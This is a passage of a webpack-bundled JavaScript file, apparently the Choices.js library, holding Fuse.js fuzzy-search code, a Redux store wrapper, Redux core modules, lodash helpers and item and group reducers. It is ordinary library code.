var matchesLen
var match
text = options.caseSensitive ? text : text.toLowerCase()
if (this.pattern === text) {
// Exact match
return {
isMatch: true,
score: 0,
matchedIndices: [[0, text.length - 1]]
}
}
// When pattern length is greater than the machine word length, just do a a regex comparison
if (this.patternLen > options.maxPatternLength) {
matches = text.match(new RegExp(this.pattern.replace(options.tokenSeparator, '|')))
isMatched = !!matches
if (isMatched) {
matchedIndices = []
for (i = 0, matchesLen = matches.length; i < matchesLen; i++) {
match = matches[i]
matchedIndices.push([text.indexOf(match), match.length - 1])
}
}
return {
isMatch: isMatched,
// TODO: revisit this score
score: isMatched ? 0.5 : 1,
matchedIndices: matchedIndices
}
}
location = options.location
// Set starting location at beginning text and initialize the alphabet.
textLen = text.length
// Highest score beyond which we give up.
threshold = options.threshold
// Is there a nearby exact match? (speedup)
bestLoc = text.indexOf(this.pattern, location)
// a mask of the matches
matchMask = []
for (i = 0; i < textLen; i++) {
matchMask[i] = 0
}
if (bestLoc != -1) {
threshold = Math.min(this._bitapScore(0, bestLoc), threshold)
// What about in the other direction? (speed up)
bestLoc = text.lastIndexOf(this.pattern, location + this.patternLen)
if (bestLoc != -1) {
threshold = Math.min(this._bitapScore(0, bestLoc), threshold)
}
}
bestLoc = -1
score = 1
locations = []
binMax = this.patternLen + textLen
for (i = 0; i < this.patternLen; i++) {
// Scan for the best match; each iteration allows for one more error.
// Run a binary search to determine how far from the match location we can stray
// at this error level.
binMin = 0
binMid = binMax
while (binMin < binMid) {
if (this._bitapScore(i, location + binMid) <= threshold) {
binMin = binMid
} else {
binMax = binMid
}
binMid = Math.floor((binMax - binMin) / 2 + binMin)
}
// Use the result from this iteration as the maximum for the next.
binMax = binMid
start = Math.max(1, location - binMid + 1)
finish = Math.min(location + binMid, textLen) + this.patternLen
// Initialize the bit array
bitArr = Array(finish + 2)
bitArr[finish + 1] = (1 << i) - 1
for (j = finish; j >= start; j--) {
charMatch = this.patternAlphabet[text.charAt(j - 1)]
if (charMatch) {
matchMask[j - 1] = 1
}
if (i === 0) {
// First pass: exact match.
bitArr[j] = ((bitArr[j + 1] << 1) | 1) & charMatch
} else {
// Subsequent passes: fuzzy match.
bitArr[j] = ((bitArr[j + 1] << 1) | 1) & charMatch | (((lastBitArr[j + 1] | lastBitArr[j]) << 1) | 1) | lastBitArr[j + 1]
}
if (bitArr[j] & this.matchmask) {
score = this._bitapScore(i, j - 1)
// This match will almost certainly be better than any existing match.
// But check anyway.
if (score <= threshold) {
// Indeed it is
threshold = score
bestLoc = j - 1
locations.push(bestLoc)
if (bestLoc > location) {
// When passing loc, don't exceed our current distance from loc.
start = Math.max(1, 2 * location - bestLoc)
} else {
// Already passed loc, downhill from here on in.
break
}
}
}
}
// No hope for a (better) match at greater error levels.
if (this._bitapScore(i + 1, location) > threshold) {
break
}
lastBitArr = bitArr
}
matchedIndices = this._getMatchedIndices(matchMask)
// Count exact matches (those with a score of 0) to be "almost" exact
return {
isMatch: bestLoc >= 0,
score: score === 0 ? 0.001 : score,
matchedIndices: matchedIndices
}
}
BitapSearcher.prototype._getMatchedIndices = function (matchMask) {
var matchedIndices = []
var start = -1
var end = -1
var i = 0
var match
var len = matchMask.length
for (; i < len; i++) {
match = matchMask[i]
if (match && start === -1) {
start = i
} else if (!match && start !== -1) {
end = i - 1
matchedIndices.push([start, end])
start = -1
}
}
if (matchMask[i - 1]) {
matchedIndices.push([start, i - 1])
}
return matchedIndices
}
// Export to Common JS Loader
if (true) {
// Node. Does not work with strict CommonJS, but
// only CommonJS-like environments that support module.exports,
// like Node.
module.exports = Fuse
} else if (typeof define === 'function' && define.amd) {
// AMD. Register as an anonymous module.
define(function () {
return Fuse
})
} else {
// Browser globals (root is window)
global.Fuse = Fuse
}
})(this)
/***/ },
/* 3 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _redux = __webpack_require__(4);
var _index = __webpack_require__(18);
var _index2 = _interopRequireDefault(_index);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
var Store = function () {
function Store() {
_classCallCheck(this, Store);
this.store = (0, _redux.createStore)(_index2.default, window.devToolsExtension ? window.devToolsExtension() : undefined);
}
/**
* Get store object (wrapping Redux method)
* @return {Object} State
*/
_createClass(Store, [{
key: 'getState',
value: function getState() {
return this.store.getState();
}
/**
* Dispatch event to store (wrapped Redux method)
* @param {Function} action Action function to trigger
* @return
*/
}, {
key: 'dispatch',
value: function dispatch(action) {
this.store.dispatch(action);
}
/**
* Subscribe store to function call (wrapped Redux method)
* @param {Function} onChange Function to trigger when state changes
* @return
*/
}, {
key: 'subscribe',
value: function subscribe(onChange) {
this.store.subscribe(onChange);
}
/**
* Get items from store
* @return {Array} Item objects
*/
}, {
key: 'getItems',
value: function getItems() {
var state = this.store.getState();
return state.items;
}
/**
* Get active items from store
* @return {Array} Item objects
*/
}, {
key: 'getItemsFilteredByActive',
value: function getItemsFilteredByActive() {
var items = this.getItems();
var values = items.filter(function (item) {
return item.active === true;
}, []);
return values;
}
/**
* Get items from store reduced to just their values
* @return {Array} Item objects
*/
}, {
key: 'getItemsReducedToValues',
value: function getItemsReducedToValues() {
var items = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.getItems();
var values = items.reduce(function (prev, current) {
prev.push(current.value);
return prev;
}, []);
return values;
}
/**
* Get choices from store
* @return {Array} Option objects
*/
}, {
key: 'getChoices',
value: function getChoices() {
var state = this.store.getState();
return state.choices;
}
/**
* Get active choices from store
* @return {Array} Option objects
*/
}, {
key: 'getChoicesFilteredByActive',
value: function getChoicesFilteredByActive() {
var choices = this.getChoices();
var values = choices.filter(function (choice) {
return choice.active === true;
}, []);
return values;
}
/**
* Get selectable choices from store
* @return {Array} Option objects
*/
}, {
key: 'getChoicesFilteredBySelectable',
value: function getChoicesFilteredBySelectable() {
var choices = this.getChoices();
var values = choices.filter(function (choice) {
return choice.disabled !== true;
}, []);
return values;
}
/**
* Get single choice by it's ID
* @return {Object} Found choice
*/
}, {
key: 'getChoiceById',
value: function getChoiceById(id) {
if (id) {
var choices = this.getChoicesFilteredByActive();
var foundChoice = choices.find(function (choice) {
return choice.id === parseInt(id, 10);
});
return foundChoice;
}
return false;
}
/**
* Get groups from store
* @return {Array} Group objects
*/
}, {
key: 'getGroups',
value: function getGroups() {
var state = this.store.getState();
return state.groups;
}
/**
* Get active groups from store
* @return {Array} Group objects
*/
}, {
key: 'getGroupsFilteredByActive',
value: function getGroupsFilteredByActive() {
var groups = this.getGroups();
var choices = this.getChoices();
var values = groups.filter(function (group) {
var isActive = group.active === true && group.disabled === false;
var hasActiveOptions = choices.some(function (choice) {
return choice.active === true && choice.disabled === false;
});
return isActive && hasActiveOptions;
}, []);
return values;
}
}]);
return Store;
}();
exports.default = Store;
module.exports = Store;
/***/ },
/* 4 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
exports.__esModule = true;
exports.compose = exports.applyMiddleware = exports.bindActionCreators = exports.combineReducers = exports.createStore = undefined;
var _createStore = __webpack_require__(5);
var _createStore2 = _interopRequireDefault(_createStore);
var _combineReducers = __webpack_require__(13);
var _combineReducers2 = _interopRequireDefault(_combineReducers);
var _bindActionCreators = __webpack_require__(15);
var _bindActionCreators2 = _interopRequireDefault(_bindActionCreators);
var _applyMiddleware = __webpack_require__(16);
var _applyMiddleware2 = _interopRequireDefault(_applyMiddleware);
var _compose = __webpack_require__(17);
var _compose2 = _interopRequireDefault(_compose);
var _warning = __webpack_require__(14);
var _warning2 = _interopRequireDefault(_warning);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
/*
* This is a dummy function to check if the function name has been altered by minification.
* If the function has been minified and NODE_ENV !== 'production', warn the user.
*/
function isCrushed() {}
if (false) {
(0, _warning2['default'])('You are currently using minified code outside of NODE_ENV === \'production\'. ' + 'This means that you are running a slower development build of Redux. ' + 'You can use loose-envify (https://github.com/zertosh/loose-envify) for browserify ' + 'or DefinePlugin for webpack (http://stackoverflow.com/questions/30030031) ' + 'to ensure you have the correct code for your production build.');
}
exports.createStore = _createStore2['default'];
exports.combineReducers = _combineReducers2['default'];
exports.bindActionCreators = _bindActionCreators2['default'];
exports.applyMiddleware = _applyMiddleware2['default'];
exports.compose = _compose2['default'];
/***/ },
/* 5 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
exports.__esModule = true;
exports.ActionTypes = undefined;
exports['default'] = createStore;
var _isPlainObject = __webpack_require__(6);
var _isPlainObject2 = _interopRequireDefault(_isPlainObject);
var _symbolObservable = __webpack_require__(10);
var _symbolObservable2 = _interopRequireDefault(_symbolObservable);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
/**
* These are private action types reserved by Redux.
* For any unknown actions, you must return the current state.
* If the current state is undefined, you must return the initial state.
* Do not reference these action types directly in your code.
*/
var ActionTypes = exports.ActionTypes = {
INIT: '@@redux/INIT'
};
/**
* Creates a Redux store that holds the state tree.
* The only way to change the data in the store is to call `dispatch()` on it.
*
* There should only be a single store in your app. To specify how different
* parts of the state tree respond to actions, you may combine several reducers
* into a single reducer function by using `combineReducers`.
*
* @param {Function} reducer A function that returns the next state tree, given
* the current state tree and the action to handle.
*
* @param {any} [preloadedState] The initial state. You may optionally specify it
* to hydrate the state from the server in universal apps, or to restore a
* previously serialized user session.
* If you use `combineReducers` to produce the root reducer function, this must be
* an object with the same shape as `combineReducers` keys.
*
* @param {Function} enhancer The store enhancer. You may optionally specify it
* to enhance the store with third-party capabilities such as middleware,
* time travel, persistence, etc. The only store enhancer that ships with Redux
* is `applyMiddleware()`.
*
* @returns {Store} A Redux store that lets you read the state, dispatch actions
* and subscribe to changes.
*/
function createStore(reducer, preloadedState, enhancer) {
var _ref2;
if (typeof preloadedState === 'function' && typeof enhancer === 'undefined') {
enhancer = preloadedState;
preloadedState = undefined;
}
if (typeof enhancer !== 'undefined') {
if (typeof enhancer !== 'function') {
throw new Error('Expected the enhancer to be a function.');
}
return enhancer(createStore)(reducer, preloadedState);
}
if (typeof reducer !== 'function') {
throw new Error('Expected the reducer to be a function.');
}
var currentReducer = reducer;
var currentState = preloadedState;
var currentListeners = [];
var nextListeners = currentListeners;
var isDispatching = false;
function ensureCanMutateNextListeners() {
if (nextListeners === currentListeners) {
nextListeners = currentListeners.slice();
}
}
/**
* Reads the state tree managed by the store.
*
* @returns {any} The current state tree of your application.
*/
function getState() {
return currentState;
}
/**
* Adds a change listener. It will be called any time an action is dispatched,
* and some part of the state tree may potentially have changed. You may then
* call `getState()` to read the current state tree inside the callback.
*
* You may call `dispatch()` from a change listener, with the following
* caveats:
*
* 1. The subscriptions are snapshotted just before every `dispatch()` call.
* If you subscribe or unsubscribe while the listeners are being invoked, this
* will not have any effect on the `dispatch()` that is currently in progress.
* However, the next `dispatch()` call, whether nested or not, will use a more
* recent snapshot of the subscription list.
*
* 2. The listener should not expect to see all state changes, as the state
* might have been updated multiple times during a nested `dispatch()` before
* the listener is called. It is, however, guaranteed that all subscribers
* registered before the `dispatch()` started will be called with the latest
* state by the time it exits.
*
* @param {Function} listener A callback to be invoked on every dispatch.
* @returns {Function} A function to remove this change listener.
*/
function subscribe(listener) {
if (typeof listener !== 'function') {
throw new Error('Expected listener to be a function.');
}
var isSubscribed = true;
ensureCanMutateNextListeners();
nextListeners.push(listener);
return function unsubscribe() {
if (!isSubscribed) {
return;
}
isSubscribed = false;
ensureCanMutateNextListeners();
var index = nextListeners.indexOf(listener);
nextListeners.splice(index, 1);
};
}
/**
* Dispatches an action. It is the only way to trigger a state change.
*
* The `reducer` function, used to create the store, will be called with the
* current state tree and the given `action`. Its return value will
* be considered the **next** state of the tree, and the change listeners
* will be notified.
*
* The base implementation only supports plain object actions. If you want to
* dispatch a Promise, an Observable, a thunk, or something else, you need to
* wrap your store creating function into the corresponding middleware. For
* example, see the documentation for the `redux-thunk` package. Even the
* middleware will eventually dispatch plain object actions using this method.
*
* @param {Object} action A plain object representing “what changed”. It is
* a good idea to keep actions serializable so you can record and replay user
* sessions, or use the time travelling `redux-devtools`. An action must have
* a `type` property which may not be `undefined`. It is a good idea to use
* string constants for action types.
*
* @returns {Object} For convenience, the same action object you dispatched.
*
* Note that, if you use a custom middleware, it may wrap `dispatch()` to
* return something else (for example, a Promise you can await).
*/
function dispatch(action) {
if (!(0, _isPlainObject2['default'])(action)) {
throw new Error('Actions must be plain objects. ' + 'Use custom middleware for async actions.');
}
if (typeof action.type === 'undefined') {
throw new Error('Actions may not have an undefined "type" property. ' + 'Have you misspelled a constant?');
}
if (isDispatching) {
throw new Error('Reducers may not dispatch actions.');
}
try {
isDispatching = true;
currentState = currentReducer(currentState, action);
} finally {
isDispatching = false;
}
var listeners = currentListeners = nextListeners;
for (var i = 0; i < listeners.length; i++) {
listeners[i]();
}
return action;
}
/**
* Replaces the reducer currently used by the store to calculate the state.
*
* You might need this if your app implements code splitting and you want to
* load some of the reducers dynamically. You might also need this if you
* implement a hot reloading mechanism for Redux.
*
* @param {Function} nextReducer The reducer for the store to use instead.
* @returns {void}
*/
function replaceReducer(nextReducer) {
if (typeof nextReducer !== 'function') {
throw new Error('Expected the nextReducer to be a function.');
}
currentReducer = nextReducer;
dispatch({ type: ActionTypes.INIT });
}
/**
* Interoperability point for observable/reactive libraries.
* @returns {observable} A minimal observable of state changes.
* For more information, see the observable proposal:
* https://github.com/zenparsing/es-observable
*/
function observable() {
var _ref;
var outerSubscribe = subscribe;
return _ref = {
/**
* The minimal observable subscription method.
* @param {Object} observer Any object that can be used as an observer.
* The observer object should have a `next` method.
* @returns {subscription} An object with an `unsubscribe` method that can
* be used to unsubscribe the observable from the store, and prevent further
* emission of values from the observable.
*/
subscribe: function subscribe(observer) {
if (typeof observer !== 'object') {
throw new TypeError('Expected the observer to be an object.');
}
function observeState() {
if (observer.next) {
observer.next(getState());
}
}
observeState();
var unsubscribe = outerSubscribe(observeState);
return { unsubscribe: unsubscribe };
}
}, _ref[_symbolObservable2['default']] = function () {
return this;
}, _ref;
}
// When a store is created, an "INIT" action is dispatched so that every
// reducer returns their initial state. This effectively populates
// the initial state tree.
dispatch({ type: ActionTypes.INIT });
return _ref2 = {
dispatch: dispatch,
subscribe: subscribe,
getState: getState,
replaceReducer: replaceReducer
}, _ref2[_symbolObservable2['default']] = observable, _ref2;
}
/***/ },
/* 6 */
/***/ function(module, exports, __webpack_require__) {
var getPrototype = __webpack_require__(7),
isObjectLike = __webpack_require__(9);
/** `Object#toString` result references. */
var objectTag = '[object Object]';
/** Used for built-in method references. */
var funcProto = Function.prototype,
objectProto = Object.prototype;
/** Used to resolve the decompiled source of functions. */
var funcToString = funcProto.toString;
/** Used to check objects for own properties. */
var hasOwnProperty = objectProto.hasOwnProperty;
/** Used to infer the `Object` constructor. */
var objectCtorString = funcToString.call(Object);
/**
* Used to resolve the
* [`toStringTag`](http://ecma-international.org/ecma-262/7.0/#sec-object.prototype.tostring)
* of values.
*/
var objectToString = objectProto.toString;
/**
* Checks if `value` is a plain object, that is, an object created by the
* `Object` constructor or one with a `[[Prototype]]` of `null`.
*
* @static
* @memberOf _
* @since 0.8.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a plain object, else `false`.
* @example
*
* function Foo() {
* this.a = 1;
* }
*
* _.isPlainObject(new Foo);
* // => false
*
* _.isPlainObject([1, 2, 3]);
* // => false
*
* _.isPlainObject({ 'x': 0, 'y': 0 });
* // => true
*
* _.isPlainObject(Object.create(null));
* // => true
*/
function isPlainObject(value) {
if (!isObjectLike(value) || objectToString.call(value) != objectTag) {
return false;
}
var proto = getPrototype(value);
if (proto === null) {
return true;
}
var Ctor = hasOwnProperty.call(proto, 'constructor') && proto.constructor;
return (typeof Ctor == 'function' &&
Ctor instanceof Ctor && funcToString.call(Ctor) == objectCtorString);
}
module.exports = isPlainObject;
/***/ },
/* 7 */
/***/ function(module, exports, __webpack_require__) {
var overArg = __webpack_require__(8);
/** Built-in value references. */
var getPrototype = overArg(Object.getPrototypeOf, Object);
module.exports = getPrototype;
/***/ },
/* 8 */
/***/ function(module, exports) {
/**
* Creates a unary function that invokes `func` with its argument transformed.
*
* @private
* @param {Function} func The function to wrap.
* @param {Function} transform The argument transform.
* @returns {Function} Returns the new function.
*/
function overArg(func, transform) {
return function(arg) {
return func(transform(arg));
};
}
module.exports = overArg;
/***/ },
/* 9 */
/***/ function(module, exports) {
/**
* Checks if `value` is object-like. A value is object-like if it's not `null`
* and has a `typeof` result of "object".
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is object-like, else `false`.
* @example
*
* _.isObjectLike({});
* // => true
*
* _.isObjectLike([1, 2, 3]);
* // => true
*
* _.isObjectLike(_.noop);
* // => false
*
* _.isObjectLike(null);
* // => false
*/
function isObjectLike(value) {
return value != null && typeof value == 'object';
}
module.exports = isObjectLike;
/***/ },
/* 10 */
/***/ function(module, exports, __webpack_require__) {
module.exports = __webpack_require__(11);
/***/ },
/* 11 */
/***/ function(module, exports, __webpack_require__) {
/* WEBPACK VAR INJECTION */(function(global) {'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var _ponyfill = __webpack_require__(12);
var _ponyfill2 = _interopRequireDefault(_ponyfill);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
var root = undefined; /* global window */
if (typeof global !== 'undefined') {
root = global;
} else if (typeof window !== 'undefined') {
root = window;
}
var result = (0, _ponyfill2['default'])(root);
exports['default'] = result;
/* WEBPACK VAR INJECTION */}.call(exports, (function() { return this; }())))
/***/ },
/* 12 */
/***/ function(module, exports) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports['default'] = symbolObservablePonyfill;
function symbolObservablePonyfill(root) {
var result;
var _Symbol = root.Symbol;
if (typeof _Symbol === 'function') {
if (_Symbol.observable) {
result = _Symbol.observable;
} else {
result = _Symbol('observable');
_Symbol.observable = result;
}
} else {
result = '@@observable';
}
return result;
};
/***/ },
/* 13 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
exports.__esModule = true;
exports['default'] = combineReducers;
var _createStore = __webpack_require__(5);
var _isPlainObject = __webpack_require__(6);
var _isPlainObject2 = _interopRequireDefault(_isPlainObject);
var _warning = __webpack_require__(14);
var _warning2 = _interopRequireDefault(_warning);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
function getUndefinedStateErrorMessage(key, action) {
var actionType = action && action.type;
var actionName = actionType && '"' + actionType.toString() + '"' || 'an action';
return 'Given action ' + actionName + ', reducer "' + key + '" returned undefined. ' + 'To ignore an action, you must explicitly return the previous state.';
}
function getUnexpectedStateShapeWarningMessage(inputState, reducers, action, unexpectedKeyCache) {
var reducerKeys = Object.keys(reducers);
var argumentName = action && action.type === _createStore.ActionTypes.INIT ? 'preloadedState argument passed to createStore' : 'previous state received by the reducer';
if (reducerKeys.length === 0) {
return 'Store does not have a valid reducer. Make sure the argument passed ' + 'to combineReducers is an object whose values are reducers.';
}
if (!(0, _isPlainObject2['default'])(inputState)) {
return 'The ' + argumentName + ' has unexpected type of "' + {}.toString.call(inputState).match(/\s([a-z|A-Z]+)/)[1] + '". Expected argument to be an object with the following ' + ('keys: "' + reducerKeys.join('", "') + '"');
}
var unexpectedKeys = Object.keys(inputState).filter(function (key) {
return !reducers.hasOwnProperty(key) && !unexpectedKeyCache[key];
});
unexpectedKeys.forEach(function (key) {
unexpectedKeyCache[key] = true;
});
if (unexpectedKeys.length > 0) {
return 'Unexpected ' + (unexpectedKeys.length > 1 ? 'keys' : 'key') + ' ' + ('"' + unexpectedKeys.join('", "') + '" found in ' + argumentName + '. ') + 'Expected to find one of the known reducer keys instead: ' + ('"' + reducerKeys.join('", "') + '". Unexpected keys will be ignored.');
}
}
function assertReducerSanity(reducers) {
Object.keys(reducers).forEach(function (key) {
var reducer = reducers[key];
var initialState = reducer(undefined, { type: _createStore.ActionTypes.INIT });
if (typeof initialState === 'undefined') {
throw new Error('Reducer "' + key + '" returned undefined during initialization. ' + 'If the state passed to the reducer is undefined, you must ' + 'explicitly return the initial state. The initial state may ' + 'not be undefined.');
}
var type = '@@redux/PROBE_UNKNOWN_ACTION_' + Math.random().toString(36).substring(7).split('').join('.');
if (typeof reducer(undefined, { type: type }) === 'undefined') {
throw new Error('Reducer "' + key + '" returned undefined when probed with a random type. ' + ('Don\'t try to handle ' + _createStore.ActionTypes.INIT + ' or other actions in "redux/*" ') + 'namespace. They are considered private. Instead, you must return the ' + 'current state for any unknown actions, unless it is undefined, ' + 'in which case you must return the initial state, regardless of the ' + 'action type. The initial state may not be undefined.');
}
});
}
/**
* Turns an object whose values are different reducer functions, into a single
* reducer function. It will call every child reducer, and gather their results
* into a single state object, whose keys correspond to the keys of the passed
* reducer functions.
*
* @param {Object} reducers An object whose values correspond to different
* reducer functions that need to be combined into one. One handy way to obtain
* it is to use ES6 `import * as reducers` syntax. The reducers may never return
* undefined for any action. Instead, they should return their initial state
* if the state passed to them was undefined, and the current state for any
* unrecognized action.
*
* @returns {Function} A reducer function that invokes every reducer inside the
* passed object, and builds a state object with the same shape.
*/
function combineReducers(reducers) {
var reducerKeys = Object.keys(reducers);
var finalReducers = {};
for (var i = 0; i < reducerKeys.length; i++) {
var key = reducerKeys[i];
if (false) {
if (typeof reducers[key] === 'undefined') {
(0, _warning2['default'])('No reducer provided for key "' + key + '"');
}
}
if (typeof reducers[key] === 'function') {
finalReducers[key] = reducers[key];
}
}
var finalReducerKeys = Object.keys(finalReducers);
if (false) {
var unexpectedKeyCache = {};
}
var sanityError;
try {
assertReducerSanity(finalReducers);
} catch (e) {
sanityError = e;
}
return function combination() {
var state = arguments.length <= 0 || arguments[0] === undefined ? {} : arguments[0];
var action = arguments[1];
if (sanityError) {
throw sanityError;
}
if (false) {
var warningMessage = getUnexpectedStateShapeWarningMessage(state, finalReducers, action, unexpectedKeyCache);
if (warningMessage) {
(0, _warning2['default'])(warningMessage);
}
}
var hasChanged = false;
var nextState = {};
for (var i = 0; i < finalReducerKeys.length; i++) {
var key = finalReducerKeys[i];
var reducer = finalReducers[key];
var previousStateForKey = state[key];
var nextStateForKey = reducer(previousStateForKey, action);
if (typeof nextStateForKey === 'undefined') {
var errorMessage = getUndefinedStateErrorMessage(key, action);
throw new Error(errorMessage);
}
nextState[key] = nextStateForKey;
hasChanged = hasChanged || nextStateForKey !== previousStateForKey;
}
return hasChanged ? nextState : state;
};
}
/***/ },
/* 14 */
/***/ function(module, exports) {
'use strict';
exports.__esModule = true;
exports['default'] = warning;
/**
* Prints a warning in the console if it exists.
*
* @param {String} message The warning message.
* @returns {void}
*/
function warning(message) {
/* eslint-disable no-console */
if (typeof console !== 'undefined' && typeof console.error === 'function') {
console.error(message);
}
/* eslint-enable no-console */
try {
// This error was thrown as a convenience so that if you enable
// "break on all exceptions" in your console,
// it would pause the execution at this line.
throw new Error(message);
/* eslint-disable no-empty */
} catch (e) {}
/* eslint-enable no-empty */
}
/***/ },
/* 15 */
/***/ function(module, exports) {
'use strict';
exports.__esModule = true;
exports['default'] = bindActionCreators;
function bindActionCreator(actionCreator, dispatch) {
return function () {
return dispatch(actionCreator.apply(undefined, arguments));
};
}
/**
* Turns an object whose values are action creators, into an object with the
* same keys, but with every function wrapped into a `dispatch` call so they
* may be invoked directly. This is just a convenience method, as you can call
* `store.dispatch(MyActionCreators.doSomething())` yourself just fine.
*
* For convenience, you can also pass a single function as the first argument,
* and get a function in return.
*
* @param {Function|Object} actionCreators An object whose values are action
* creator functions. One handy way to obtain it is to use ES6 `import * as`
* syntax. You may also pass a single function.
*
* @param {Function} dispatch The `dispatch` function available on your Redux
* store.
*
* @returns {Function|Object} The object mimicking the original object, but with
* every action creator wrapped into the `dispatch` call. If you passed a
* function as `actionCreators`, the return value will also be a single
* function.
*/
function bindActionCreators(actionCreators, dispatch) {
if (typeof actionCreators === 'function') {
return bindActionCreator(actionCreators, dispatch);
}
if (typeof actionCreators !== 'object' || actionCreators === null) {
throw new Error('bindActionCreators expected an object or a function, instead received ' + (actionCreators === null ? 'null' : typeof actionCreators) + '. ' + 'Did you write "import ActionCreators from" instead of "import * as ActionCreators from"?');
}
var keys = Object.keys(actionCreators);
var boundActionCreators = {};
for (var i = 0; i < keys.length; i++) {
var key = keys[i];
var actionCreator = actionCreators[key];
if (typeof actionCreator === 'function') {
boundActionCreators[key] = bindActionCreator(actionCreator, dispatch);
}
}
return boundActionCreators;
}
/***/ },
/* 16 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
exports.__esModule = true;
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
exports['default'] = applyMiddleware;
var _compose = __webpack_require__(17);
var _compose2 = _interopRequireDefault(_compose);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
/**
* Creates a store enhancer that applies middleware to the dispatch method
* of the Redux store. This is handy for a variety of tasks, such as expressing
* asynchronous actions in a concise manner, or logging every action payload.
*
* See `redux-thunk` package as an example of the Redux middleware.
*
* Because middleware is potentially asynchronous, this should be the first
* store enhancer in the composition chain.
*
* Note that each middleware will be given the `dispatch` and `getState` functions
* as named arguments.
*
* @param {...Function} middlewares The middleware chain to be applied.
* @returns {Function} A store enhancer applying the middleware.
*/
function applyMiddleware() {
for (var _len = arguments.length, middlewares = Array(_len), _key = 0; _key < _len; _key++) {
middlewares[_key] = arguments[_key];
}
return function (createStore) {
return function (reducer, preloadedState, enhancer) {
var store = createStore(reducer, preloadedState, enhancer);
var _dispatch = store.dispatch;
var chain = [];
var middlewareAPI = {
getState: store.getState,
dispatch: function dispatch(action) {
return _dispatch(action);
}
};
chain = middlewares.map(function (middleware) {
return middleware(middlewareAPI);
});
_dispatch = _compose2['default'].apply(undefined, chain)(store.dispatch);
return _extends({}, store, {
dispatch: _dispatch
});
};
};
}
/***/ },
/* 17 */
/***/ function(module, exports) {
"use strict";
exports.__esModule = true;
exports["default"] = compose;
/**
* Composes single-argument functions from right to left. The rightmost
* function can take multiple arguments as it provides the signature for
* the resulting composite function.
*
* @param {...Function} funcs The functions to compose.
* @returns {Function} A function obtained by composing the argument functions
* from right to left. For example, compose(f, g, h) is identical to doing
* (...args) => f(g(h(...args))).
*/
function compose() {
for (var _len = arguments.length, funcs = Array(_len), _key = 0; _key < _len; _key++) {
funcs[_key] = arguments[_key];
}
if (funcs.length === 0) {
return function (arg) {
return arg;
};
}
if (funcs.length === 1) {
return funcs[0];
}
var last = funcs[funcs.length - 1];
var rest = funcs.slice(0, -1);
return function () {
return rest.reduceRight(function (composed, f) {
return f(composed);
}, last.apply(undefined, arguments));
};
}
/***/ },
/* 18 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var _redux = __webpack_require__(4);
var _items = __webpack_require__(19);
var _items2 = _interopRequireDefault(_items);
var _groups = __webpack_require__(20);
var _groups2 = _interopRequireDefault(_groups);
var _choices = __webpack_require__(21);
var _choices2 = _interopRequireDefault(_choices);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
var appReducer = (0, _redux.combineReducers)({
items: _items2.default,
groups: _groups2.default,
choices: _choices2.default
});
var rootReducer = function rootReducer(passedState, action) {
var state = passedState;
// If we are clearing all items, groups and options we reassign
// state and then pass that state to our proper reducer. This isn't
// mutating our actual state
// See: http://stackoverflow.com/a/35641992
if (action.type === 'CLEAR_ALL') {
state = undefined;
}
return appReducer(state, action);
};
exports.default = rootReducer;
/***/ },
/* 19 */
/***/ function(module, exports) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
function _toConsumableArray(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } else { return Array.from(arr); } }
var items = function items() {
var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : [];
var action = arguments[1];
switch (action.type) {
case 'ADD_ITEM':
{
// Add object to items array
var newState = [].concat(_toConsumableArray(state), [{
id: action.id,
choiceId: action.choiceId,
value: action.value,
label: action.label,
active: true,
highlighted: false
}]);
return newState.map(function (item) {
if (item.highlighted) {
item.highlighted = false;
}
return item;
});
}
case 'REMOVE_ITEM':
{
// Set item to inactive
return state.map(function (item) {
if (item.id === action.id) {
item.active = false;
}
return item;
});
}
case 'HIGHLIGHT_ITEM':
{
return state.map(function (item) {
if (item.id === action.id) {
item.highlighted = action.highlighted;
}
return item;
});
}
default:
{
return state;
}
}
};
exports.default = items;
/***/ },
/* 20 */
/***/ function(module, exports) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
function _toConsumableArray(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } else { return Array.from(arr); } }
var groups = function groups() {
var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : [];
var action = arguments[1];
switch (action.type) {
case 'ADD_GROUP':
